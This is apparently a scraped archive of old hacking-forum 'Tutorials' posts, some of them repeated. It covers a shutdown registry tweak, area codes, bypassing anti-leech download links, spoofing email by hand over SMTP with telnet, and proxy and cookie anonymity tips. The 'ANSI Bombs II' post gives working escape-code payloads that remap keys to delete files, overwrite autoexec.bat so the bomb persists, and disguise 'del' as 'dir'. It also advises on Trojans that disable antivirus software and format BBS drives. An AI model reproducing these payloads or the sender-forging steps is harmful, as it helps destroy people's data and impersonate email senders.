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10:04 PM
Automatic Windows Installation, No keypress required!
An unattended Windows XP/2003 install can install all your software and settings along with Windows, and without you having to click a button or press a key,completely automated. Learn how over here:
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Tutorials
10:03 PM
Auto End Tasks to Enable a Proper Shutdown
This reg file automatically ends tasks and timeouts that prevent programs from shutting down and clears the Paging File on Exit.
1. Copy the following (everything in the box) into notepad.
QUOTE
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
"ClearPageFileAtShutdown"=dword:00000001
[HKEY_USERS\.DEFAULT\Control Panel\Desktop]
"AutoEndTasks"="1"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control]
"WaitToKillServiceTimeout"="1000"
2. Save the file as shutdown.reg
3. Double click the file to import into your registry.
NOTE: If your anti-virus software warns you of a "malicious" script, this is normal if you have "Script Safe" or similar technology enabled.
1. Copy the following (everything in the box) into notepad.
QUOTE
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
"ClearPageFileAtShutdown"=dword:00000001
[HKEY_USERS\.DEFAULT\Control Panel\Desktop]
"AutoEndTasks"="1"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control]
"WaitToKillServiceTimeout"="1000"
2. Save the file as shutdown.reg
3. Double click the file to import into your registry.
NOTE: If your anti-virus software warns you of a "malicious" script, this is normal if you have "Script Safe" or similar technology enabled.
Tutorials
10:02 PM
Area Codes and Time Zones
Time Zones
----------
Atlantic
--------
Newfoundland Nova Scotia New Brunswick
Eastern
-------
Maine New Hampshire Vermont Massachussets New York Rhode Island
Connecticut Pennsylvania New Jersey Delaware Maryland Ohio Indiana
Michigan West Virginia Virginia Kentucky North Carolina Tennessee
South Carolina Georgia Florida Quebec Ontario
Central
-------
Manitoba North Dakota South Dakota Minnesota Wisconsin Michigan Iowa
Nebraska Illinois Kansas Missouri Kentucky Tennessee Arkansas Oklahoma
Texas Louisiana Alabama Mississippi Indiana
Mountain
--------
Alberta Saskatchewan Montana Idaho Wyoming South Dakota Nebraska
Utah Colorado Kansas Oklahoma Arizona New Mexico
Pacific
-------
British Columbia Washington Montana Oregon Nevada California Utah
Area Code Listing
-----------------
205 - Alabama 907 - Alaska 602 - Arizona
501 - Arkansas 714 - California (Orange) 818 - California
213 - California (LA) 916 - California 619 - California
415 - California (SF) 408 - California (San Jose) 303 - Colorado
203 - Connecticut 302 - Delaware 904 - Florida
305 - Florida (Miami) 404 - Georgia (Atlanta) 808 - Hawaii
208 - Idaho 312 - Illinois (Chicago) 317 - Indiana
219 - Indiana (Souend) 515 - Iowa (Des Moines) 316 - Kansas
502 - Kentucky 504 - Lousiana (N. Orleans) 207 - Maine
301 - Maryland 617 - Massachusetts 313 - Michigan
616 - Michigan 612 - Minnesota 601 - Mississippi
816 - Missouri (Kansas C) 314 - Kansas (St. Louis) 406 - Montana
402 - Nebraska 702 - Nevada 603 - New Hampshire
201 - New Jersey (Newark) 609 - New Jersey (I'm here) 505 - New Mexico
718 - NYC (Brooklyn, S.I.) 212 - NYC (Bronx, Mhattan) 518 - NY (Albany)
716 - NY (Buffalo) 516 - NY (Long Island) 315 - NY (Syracuse)
914 - NY (White Plains) 704 - North Carolina 919 - North Carolina
701 - North Dakota 513 - Ohio (Cincinnati) 216 - Ohio
614 - Ohio (Columbus) 419 - Ohio (Toledo) 405 - Oklahoma
918 - Oklahoma (Tulsa) 503 - Oregon 215 - Philadelphia PA
401 - Rhode Island (cough) 803 - South Carolina 605 - South Dakota
901 - Tennessee (Memphis) 615 - Tennessee (Nashville) 806 - Texas(Cow Hell)
214 - Texas (Dallas) 817 - Texas (Forth Worth) 713 - Texas (Houston)
512 - Texas (San Antonio) 801 - Utah 802 - Vermont
703 - Virginia (Arlington) 804 - Virginia (Richmond) 202 - Washington DC
206 - Washington (Seattle) 304 - West Virginia 608 - Wisconsin
307 - Wyoming 666 - Where do you think
Well that will make a nice printout for your wall, won't it. Now
you know where you're calling...
Tutorials
10:01 PM
anti leech hacking tutorial
I was just asking to know if there is some audiance before
here is my methode
for hacking anti leech
we gona use a soft calde proxo mitron
proxomitron is an anti bull script web proxy it' works buy applying some rules to elliuminte pop up and many other thing but for our cas we need to desactive all this filtring first goto
w-w.proxomitron.info
download a copy of the soft
then you need to unselect all the option of the soft
and clik on log window
no go to a anti leech web site
use the plug in and not netpumper
in the plugin
add a proxy
you must put this proxy adress
127.0.0.1 8080 for http
the same for ftp
now select the file to download a click download
watch in proximitron log winodws you will see many internal forwarding
if the file are located in a ftp server
proximitron dont handel them
and you will find an error
in a ftp adress
if it's a http adress
you will find some thing like
get /blablalma/bla/file
site tr.com
and you have foudn the adress
it' tr.com/blabla/file
here is my methode
for hacking anti leech
we gona use a soft calde proxo mitron
proxomitron is an anti bull script web proxy it' works buy applying some rules to elliuminte pop up and many other thing but for our cas we need to desactive all this filtring first goto
w-w.proxomitron.info
download a copy of the soft
then you need to unselect all the option of the soft
and clik on log window
no go to a anti leech web site
use the plug in and not netpumper
in the plugin
add a proxy
you must put this proxy adress
127.0.0.1 8080 for http
the same for ftp
now select the file to download a click download
watch in proximitron log winodws you will see many internal forwarding
if the file are located in a ftp server
proximitron dont handel them
and you will find an error
in a ftp adress
if it's a http adress
you will find some thing like
get /blablalma/bla/file
site tr.com
and you have foudn the adress
it' tr.com/blabla/file
Tutorials
10:01 PM
ANSI Bombs II: Tips and Techniques
I. Introduction
After writing the last file, a lot of people let me know about the
mistakes I had made. I guess this file is to clear up those miscon
ceptions and to let people know about some of the little tricks behind
ANSI bombing. Of course, ANSI bombing isn't as dangerous as a lot of
people make it out to be, but bombs are still fun to make and with a
little planning deliver some degree of success. ANSI bombing can
be dangerous, so I am tired of hearing people say that an ANSI bomb is
harmless, another misconception I hope to clear up. Now, most people
that have spent time experimenting with ANSI bombs probably know most
of the material in this file, but it might be fun just to read anyway.
2. Misconceptions
In my last file, I made three major blunders, or what I would con
sider to be major blunders. First, I said that ANSI bombs could be
used on BBSs to screw people over, but I guess I was wrong. It was
pure speculation on what other people had said that made me say that.
ANSI codes, including those that redefine keys, are sent over the
lines, but most comm programs don't use ANSI.SYS; they use their own
version of ANSI, which doesn't support key redefinition. Some people
might have a program that supports it, but I haven't seen it yet. I
have tested bombs on systems on my own and proved to myself that they
don't work. I have also seen people fuck up bombs that would have
worked by uploading them in a message. The second misconception is
that ANSI bombs are dangerous when put into zips. I haven't really
tested this out much, but from what I hear with the newer versions of
PKZIP, you have to specify that you want to see ANSI comments when
unzipping. It is unlikely that you would waste your time unzipping
something again after seeing "Format C:" in the middle of an escape
code. I could be mistaken, but I'm pretty sure that I'm right. Third,
the last thing that was a misconception is that VANSI.SYS will protect
your system from key redefinition. Maybe the newer versions don't
support key redefinition, but mine sure as hell does. There are pro
grams out there that don't support it, but I don't know any of the
names. Of course, if I were you, I would be wary about using some
thing other then ANSI. I have a few friends that are working on "A
Better ANSI" for PDers, which, instead of being better, really screws
them over.
3. An Overview
Now, in case you haven't read my other file (it's called ANSI.DOC,
kind of lame but fairly informative), I'll briefly go over the struc
ture of an ANSI bomb. Skip this part if you know what an ANSI bomb is
and how to make one.
In ANSI everything is done with a system of escape codes. Key
redefinition is one of those codes. (From now, whenever I say ESC, I
really mean the arrow, ). Here is a basic command:
ESC [13;27p
This would make the <Enter> key (13 is the code for enter) turn
into the <Escape> key (27 is the code for escape). The always has to
be there, as do the bracket and the "p", but what is between the
bracket and the "p" is up to you. The first number is always the key
that you want to be redefined. If there is a zero for the first num
ber, that means the key is in the extended set, and therefore, the
first two numbers are the code. The bracket signifies the beginning
of the definition, and the "p" signifies the end. Whenever you want a
key pressed, you have to use it's numerical code (i.e. 13 is the code
for <Enter>). You can't redefine strings, but you can redefine a key
to become a string (i.e. ESC [13;"Blah"p would make <Enter> say
"Blah"). Strings must be inside of quotes, which includes commands
that you want typed on the DOS prompt (i.e. ESC [13;"Del *.*";13p
would delete everything in the directory, note that 13 stands for
Enter in this case, not the redefinition). An escape code can have
as many commands as you want in it, but each one has to be separated
by a semi-colon. You can only redefine one key in each escape code,
so if you want to redefine another key, you have to start another
escape code. That's about it when it comes to bombs, now that you
have the basics, all you really need is a little imagination.
4. Tips and Tricks
A. The Y/N Redefinition
Now, here's a simple but fun little ANSI bomb:
ESC [78;89;13p ESC [110;121;13p
Basically, all this does is turn a capital "N" into "Y" and a
lower-case "n" into "y". Alone this doesn't do too much, except for
screw around with what they are typing. On the other hand, try adding
this line of code to the ANSI bomb:
ESC [13;27;13;"del *.*";13p
Most people would automatically press "N" when they see "Del *.*",
but when they do, they will be screwed over. This portion of a bomb
is very useful when it comes to making good bombs.
B. Screwing with the Autoexec.bat
Here is another line of code that you may find useful in future
bombing projects:
ESC [13;27;13;"copy bomb.ans c:\";13;"copy con
c:\autoexec.bat";13;"type bomb.ans";13;0;109;
13;"cls";13p
This line of code makes the bomb a little more permanent and a
little more dangerous. It copies the bomb into the root directory,
then it change/creates the autoexec.bat, so the bomb is typed after
every boot-up. Of course, the person could just boot off a disk, but
I'm sure this would get them a few time. It could also probably
appear as though it were a virus, scaring the shit out of the owner of
the computer.
C. Turning Commands into Other Commands
One of the best pranks to do to someone using an ANSI bomb is to
redefine commands. That way if they type in "copy", it will turn into
"Del *.*". Since you can't actually change the whole string, you have
to take a different approach. You have to change a few of the keys,
so when typed, they type and execute the desired command. I guess it
would be coolest to have to command exactly the same length; that way
you could redefine one key at a time to obtain the desired effect.
It doesn't really matter how you do it, just as long as it works. You
might make an ANSI that says "Wow, check out what this bomb did to
your directory", and then have it redefine the keys, so when they type
in "dir", it turns into "del". I think you get the idea.
D. Trojans
By now, everybody knows what a Trojan is. You probably wouldn't
think so, but ANSI bombs can be used as Trojans and in Trojans. First,
if you are planning on crashing a board, but you're not very good at
programming, then make yourself an ANSI bomb. Try to find out in
which directory the main files for running the BBS are stored. They
are usually under the name BBS or the name of the software, like WWIV
or Telegard. Then, make a bomb that either just deletes all the files
in that directory, or if you want the board to be down a longer time,
then make one that formats the Hard Drive. In this form ANSI bombs,
if they are well planned out, can be easy to make Trojans. Second,
ANSI bombs can used in Trojans. This is probably stretching it a
little, but say you wanted to write a Trojan that would delete a
directory, every time you typed a certain key, then you could use an
ANSI bomb. First make some batch and com/exe files that would search
for protecting programs like Norton and turn them off. Then you could
copy the file into the root directory, along with your versions of
autoexec.bat, config.sys, ANSI.sys, and whatever else. (To make it
look more realistic make the files Resource.00x to trick the user,
then when copying, use the real name). Then somehow lock the computer
up or do a warm boot through some pd program, which is easily attain
able. When the computer loads back up, you can screw that shit out of
them with your ANSI bomb.
5. Conclusion
It would seem to some people that ANSI bombs are very dangerous,
and to others that they are stupid or lame. Personally, I think that
ANSI bombs are just plain old fun. They're not too hard to make, but
there is a lot that you can do with them. They are nowhere near as
malicious as virii, so if you're looking for unstoppable destruction,
look elsewhere, but they do serve their purpose. I know that there
are programs out there that help you program ANSI bombs, but I think
that they kind of take the fun out of them. Probably, some day soon,
I'll quit making ANSI bombs and start looking more into virii and pure
Trojans. But for now, ANSI bombs suit my purpose.
-TRG
Appendix A: Key Code Program
Here is a small program, which I find very helpful. After loading
it up, it tells you the numeric code for every key you type in. Spe
cial means that it is in the extended set and therefore uses zero, and
"q" ends the program. Unfortunately, I can't take any credit for
this program. I got it over the phone from Heavymetl, and it was made
by his brother. So many thanks go out to Heavymetl and his brother,
even though they'll probably be a little pissed at me for including
this in my file. It is in Pascal and can be compiled in most Turbo
Pascal compilers.
Use CRT;
Var
CH : CHAR;
Begin
Repeat
CH := ReadKey;
If CH = #0 then
Begin
CH := ReadKey;
WriteLn(CH,'(Special) - ',ORD(CH));
End
Else
WriteLn(CH,' - ',ORD(CH));
Until
CH = 'q';
End.
Thanks go out to:
Heavymetl and his brother for the program and ideas. Weapons
Master for the input and the help he has given me. Everybody else who
has helped me out; you know who you are, or at least, you think you
know who you are. Most of all, to those brave soldiers risking their
asses everyday for us half-way across the world in Saudi Arabia. Your
deeds haven't gone unnoticed, of course that's mainly because that's
all the news ever shows nowadays. Also, to anybody else I might have
forgotten. Thanks.
Tutorials
10:00 PM
ANONYMOUS emails
Welcome to Tognai's guide on how to send ANONYMOUS e-mails
to someone without a prog.
I am Tognai and i am
going to explain ya a way to send home-made e-mails. I mean it’s a way to send
Annonimous e-mails without a program, it doesn't take
Too much time and its cool and you can have more knowledge
than with a stupid program that does all by itself.
This way (to hackers) is old what as you are newby to this
stuff, perhaps you may like to know how these anonymailers work, (home-made)
Well.....
Go to Start, then Run...
You have to Telnet (Xserver) on port 25
Well, (In this Xserver) you have to put the name of a server
without the ( ) of course...
Put in iname.com in (Xserver) because it always work it is a
server with many bugs in it.
(25) mail port.
So now we are like this.
telnet iname.com 25
and then you hit enter
Then When you have telnet open put the following like it is
written
helo
and the machine will reply with smth.
Notice for newbies: If you do not see what you are writing
go to Terminal's menu (in telnet) then to Preferences and in the Terminal
Options you tick all opctions available and in the emulation menu that's the
following one you have to tick the second option.
Now you will see what you are writing.
Then you put:
mail
from:<whoeveryouwant@whetheveryouwant.whetever.whatever> and so on...
If you make an error start all over again
Example:
mail from:<askbill@microsoft.com.net>
You hit enter and then you put:
rcpt to:<lamer@lamer'sworld.com>
This one has to be an existance address as you are mailing
anonymously to him.
Then you hit enter
And you type
Data
and hit enter once more
Then you write
Subject:whetever
And you hit enter
you write your mail
hit enter again (boring)
you put a simple:
.
Yes you don't see it its the little fucking point!
and hit enter
Finally you write
quit
hit enter one more time
and it's done
look: Try first do it with yourself I mean mail anonymously
yourself so you can test it!
Don't be asshole and write fucking e-mails to big corps.
becoz its symbol of stupidity and childhood and it has very effect on Hackers
they will treat you as a Lamer!
Really i don't know why i wrote this fucking disclaimer, but
i don't want to feel guilty if you get into trouble....
Disclamer:Tognai is not responsable for whetever you do with
this info. you can destribute this but you are totally forbidden to take out
the "By Tognai" line. You can't modify or customize this text and i
am also not responsible if you send an e-mail to an important guy and insult
him, and i strictly advise you that this is
for educational porpouses only my idea is for learning and having more
knowledge, you cannot get busted with this stuff but i don't take care if it
anyway happen to you. If this method is
new for you probably you aren't a hacker so think that if someone wrote you an
e-mail "yourbestfirend@aol.com"
insulting you and it wasn't him it but was some guy using a program or
this info you won't like it.so Use this method if you don't care a damn hell or
if you like that someone insult you.
By Tognai
Tutorials
9:54 PM
Anonymity
I can see you hiding in the shadows over there and so can the logs of all the web sites, FTP servers and other nooks and crannies you visit on the web. The sort of information gathered by these logs and which is available to the webmasters of the sites you visit include the address of the previous site you visited, your IP address, your computer's ID name, your physical location and the name of your ISP along with less personal details such as the operating system you're using and your screen resolution. If someone was snooping through your dustbin to gather information on consumer trends or tracking your every move to see where it is you go everyday you wouldn't be too chuffed would you. Well the web is no different, it's still an invasion of privacy and a threat to security and you don't have to put up with it.
Proxy servers:
Every time you visit a web site, detailed information about your system is automatically provided to the webmaster. This information can be used by hackers to exploit your computer or can be forwarded to the market research departments of consumer corporations who by tracking your activities on the internet are better equipped to direct more relevant spam at you. Your best defence against this is to use what is known as a proxy server, which will hide revealing information from the web sites you visit, allowing you to surf the web anonymously. These work by altering the way in which your browser retrieves web pages or connects to remote servers. With a proxy server set up, whenever you 'ask' IE or Netscape to look at a web page, the request is first sent through an external server which is completely independent of your ISP's servers. This third party server then does the requesting on your behalf so that it appears that the request came from them rather than you and your real IP address is never disclosed to the sites you visit. There is nothing to download and the whole process takes less than a minute.
There are two different ways to use proxy servers and both have their advantages and disadvantages. The first method is to use a web based service. What this involves is visiting the proxy's home page each time you want to browse a web site anonymously. The core component of such a system is the dialog box where you enter the address of the web site you want to visit. Each time you enter the URL of the site you want to browse via the proxy into this box, your personal information, IP address and so on is first encrypted before being sent to the site allowing you to maintain your anonymity. Two of the best examples of this type of web based proxy service are Code:
hxxp://www.rewebber.com/
and hxxp://www.anonymizer.com/.
Obviously one disadvantage of using a web based service like Rewebber or Anonymizer, however, is that you have to visit the proxies home page each time you want to surf anonymously. You could choose to select this page as your default home page, but it's still quite awkward if you're forever site hopping at the speed of light. The second main 'con' is that you often have to put up with extra adverts on the pages you visit. These are automatically inserted into the pages by the proxy - they have to pay for service somehow. More sophisticated and convenient solutions are also on offer yet they come with a price tag.
The second method you can use to protect your privacy via a proxy server involves adjusting the settings of your web browser so that you can surf anonymously without having to visit the home page of your proxy each time. To do this you will first need to know the name of your proxy server and the port number it uses. This information can be gleaned from either a public proxy server list or the FAQ referring to a private subscription based service. Once you have the name of the proxy server you wish to use, select 'Internet Options' from the 'Tools' menu of your browser. Now select 'Connections' followed by 'Settings' and tick the 'use a proxy server' check box. To finish the job all you have to do now is enter the name of the server in the 'address' box, the port which it uses in the 'port' box and go forth and surf anonymously.
Free, manual proxy servers as advertised on anonymity sites, if you can find one at all, are likely to be highly oversubscribed, and as a result the speed at which they retrieve web pages can deteriorate. In which case you can go in pursuit of a public proxy server list and select an alternative from it, which can then be set up manually. To locate such a list you can investigate sites such as Code:
hxxp://www.proxys4all.com/
however, this method isn't problem free either, so before you get too carried away and go jumping on the anonymity bandwagon there are a few things you should be aware of. It's very easy to use proxies to protect your privacy, but often the disadvantages of using them far out weigh the benefits. You see, the problem is that, like the proxy servers provided Rewebber et al, free, public proxies are nearly all over subscribed and so they can slow down web browsing considerably. Digging out fast reliable proxy servers is an art form in itself and is a skill which takes considerable practice. You could find a list of public proxy servers and then experiment with each one until you find one that runs at a reasonable speed, but this can be very time consuming and frustrating. Instead, your search would be much more efficient if you got a dedicated program to carry out this task for you. There are literally dozens of proxy seeking programs around which can do just that, and many of them are available as freeware. What these do is scan the internet for public proxy servers. These servers are then tested for speed and anonymity (not all of them are truly anonymous, even if they claim to be!) and once you find one which suits your requirements you can select it as your default proxy with the click of a button.
One of the most significant advantages of using an automated tool to locate proxy servers is that you do not have to keep editing your proxy settings manually each time you wish to try out a new one. Instead, what you do is enter 'localhost' or '127.0.0.1' into the 'address' box and '8088' into the 'port' box of your browser's proxy settings menu and then forget about it. All future proxy switching is then orchestrated from within your proxy seeking software, which subsequently relays the information to your browser or whatever type of application you are attempting to make anonymous. For those of you who are curious 'localhost' and the IP address '127.0.0.1' are the names by which every computer on the internet refers to itself.
Here's a good selection of links, which should help you to get started - Code:
hxxp://www.a4proxy.com/ Anonymity 4 Proxy
hxxp://www.helgasoft.com/hiproxy/ Hi Proxy
hxxp://www.proxy-verifier.com/ Proxy Verifier
hxxp://www.photono-software.de/ Stealther.
You may find that even when using these programs you have difficulty finding good proxy servers. It is for this reason that many people choose only to use proxy servers temporarily whilst doing something which may land them in trouble with their ISP, or in a worst case scenario with the law. The most obvious example of a situation in which you would want to cover your tracks is when scanning for public FTP servers and subsequently uploading to them. Most other net activities are unlikely to incur serious consequences so under these circumstances you can safely surf the web without a proxy. If you're really serious about protecting your privacy, however, your best bet is probably to invest in a dedicated, stable proxy such as the ones offered by Code:
hxxp://www.ultimate-anonymity.com/ Ultimate Anonymity
These aren't free, but may be worth the expense if you aren't keen on continuously switching proxy servers.
Before splashing out though it may be worth checking if your current ISP has a proxy server of its own which you can use. These aren't there to help you to commit cyber crimes and get away with it, they actually have a legitimate purpose as well - otherwise they wouldn't exist. You see, proxy servers were originally designed to help speed up web page loading times. Proxy servers contain a cache of all the web pages which have been requested via the browsers of the people using the proxy. When someone surfs the web using a proxy, the proxy first checks to see if it already has a copy of the web page stored in its cache. If this version of the page is bang up to date, it is sent to your computer and appears in your browser. If the page found in the cache of the proxy server is older than the one stored on the server hosting the page, a new request to the web server is made and the page is updated in the cache of the proxy before being sent to you. Because these servers use very fast internet connections they can retrieve web pages at much greater speeds than you can via your modest home setup. If these servers are located physically nearer to your home than the web host servers you wish to retrieve web pages from, the speed at which you browse the web will be accelerated.
Anonymity - Cookies
One last important point you need to be aware of before jumping in with both feet is that different programs have to be setup in different ways before being able to make external connections via a proxy server. For example, you can surf the web anonymously by modifying the settings in Internet Explorer or Netscape Navigator as explained earlier in this tutorial, but this will only affect your browser. If you then used Flash FXP to copy a batch of 0-day releases from one FTP server to another, this isn't going to protect you in the slightest. What you have to do is enter the name of the proxy server into each application you wish to make anonymous before making any external connections. This can usually be done by browsing through the preferences of your program to see if there is a 'use proxy server' option available. If there is, make sure you use it!
Cookies:
You have little to fear from the edible variety, but the digital ones can be a major threat to your security and privacy. A cookie is a tiny text file (usually less than 1kb in size), which is created and stored on your hard drive whenever you visit a dynamic (or an interactive if you like) web site. These are used to log your personal details so that you can access members only areas of web sites without having to type in a password every time, or to retain your customised settings so that they are available the next time you visit. If you're using a shared computer, anyone who visits the same site that you have previously logged in to can access your accounts. This is particularly worrying if you have entered your credit card details into a form on an e-commerce site. If your browser is set to automatically fill in these details whenever you
return to a previously visited site, this information could be clearly visible - you don't need me to explain the problems this could entail.
The solution to this problem is to delete any cookies which contain sensitive data once you have completed your transactions. Your cookies will be stored in a different place depending on which operating system you are using so you will have to use your detective skills to find them. As an example, in Windows XP they are located in your 'c:\Documents and Settings\Kylie Minogue\Cookies' directory (that is if your name is Kylie Minogue. Mine isn't in case you're wondering!). If you look in this directory, in some cases it is easy to identify which cookie is associated with which web site, but in other cases it's not so obvious. The cookie which was created when you visited Yahoo.com to check your email may be called kylie minogue@yahoo.txt for example. Unfortunately some cookies refer to the IP address of the site you visited and so look more like kylie minogue@145.147.25.21. These cookies can be selectively deleted one at a time if it's obvious which ones are causing a threat to your security, or you can just wipe out the whole lot in one fell swoop and have them recreated as and when they are required. However, if
you're really struggling to find your cookie jar, you could delete your cookies via your browser's tool bar instead. In Internet Explorer this can be done through the 'Tools' > 'Internet Options' menu items.
If all this sounds like too much hassle, you can always find a labour saving program which will be happy to take the job off your hands. These 'cookie crunching' programs allow you to be more selective when editing, viewing and deleting cookies from your system, and some of them will even prevent cookies from being created in the first place. Yes, I know you're hungry for links so I won't deprive you. Have a look here - Code:
hxxp://www.rbaworld.com/Programs/CookieCruncher/ Cookie
Cruncher
hxxp://www.thelimitsoft.com/ Cookie Crusher
hxxp://www.angove.com/ Cookie Killer
hxxp://www.kburra.com/ Cookie Pal
and
hxxp://www.cookiecentral.com/ Cookie Web Kit.